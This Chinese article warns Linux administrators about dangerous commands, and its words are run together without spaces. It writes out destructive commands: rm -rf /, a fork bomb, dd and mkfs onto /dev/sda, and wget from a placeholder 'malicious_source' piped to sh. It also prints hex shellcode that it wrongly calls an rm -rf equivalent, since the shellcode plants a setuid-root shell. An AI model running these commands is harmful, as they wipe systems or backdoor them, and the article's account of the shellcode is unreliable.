当前位置: 首页 > 科技观察

运维请注意:《非常危险》Linux命令大全

时间:2023-03-19 15:28:48 科技观察

Linux命令是一个很有趣很有用的东西,但是当你不知道会产生什么后果的时候,它就会显得很危险。因此,在输入某些命令之前,请检查并回车。rm–rfrm–rf是删除文件夹及其附加内容的最快方法,但小错误或语法意识差可能会对系统造成无法恢复的损坏。下面是一些情况:rmdeletelinux下的文件rm-r递归删除文件夹,包括空文件夹rm-f强制无条件删除只读文件rm-rf/:强制无条件删除根目录下的所有内容。rm-rf*:无条件强制删除当前目录下的所有内容。rm-rf。:无条件强制删除当前文件夹及子文件夹综上所述,执行rm–rf命令时要小心,可以在.bashrc中加入:aliasrm='rm-i',在下次删除东西的时候,它会提醒你究竟要删除什么。){:|:&};:这个命令实际上是一个fork炸弹。它定义了一个名为“:”的函数,它调用自己两次,一次在前台,一次在后台。关键是这样的调用会无限循环,直到系统崩溃。手贱的同学可以在虚拟机里试试:){:|:&};:Anycommand>/dev/sda这个例子的意思是我们执行了任意命令,输出到/dev/sda。在这种情况下,/dev/sda中的所有文件将被命令的输出替换,最终将丢失原始数据。mv指定文件夹/dev/null此mv命令会将指定文件夹移动到/dev/null。在linux下,/dev/null或null是一个特殊的文件,它们会丢弃所有写给自己的数据,然后返回操作成功的信息。#mv/home/user/*/dev/null上面的命令会将/home/user/下的内容全部移动到/dev/null,这是一个无底洞。wgethttp://malicious_source-O-|sh命令可以直接下载恶意源文件,然后使用sh直接执行脚本。mkfs.ext3/dev/sda上面的例子将格式化/dev/sda,执行上面的命令后,你的硬盘将被标记为新的。当然,此时系统已经无法恢复数据了。>任意文件该命令可以用来擦除原文件的内容。如果您不小心打错了命令,例如:>xt.conf,您的系统配置文件的内容可能会被清除。.^foo^bar这样使用^符号,通过调出完成命令,直接编辑之前运行的命令。虽然您可以避免键入整个长命令,但这可能很危险。.ddif=/dev/randomof=/dev/sdadd命令会擦除/dev/sda下的内容,然后写入随机垃圾数据,最后你的系统将被不可逆转地损坏。隐藏命令下面的命令相当于rm-rf,会以十六进制隐藏。如果在不知情的情况下运行,可能会直接抹掉整个根目录:charesp[]__attribute__((section(“.text”)))/*e.s.release*/=“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31""\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69""\x6e\x2f\x73\x68\x00\x2d\x63\x00″"cp-p/bin/sh/tmp/.beyond;chmod4755/tmp/.beyond;";这个故事告诉我们,致命的威胁是深藏不露的,当我们醒来时,往往会发现难以察觉。

猜你喜欢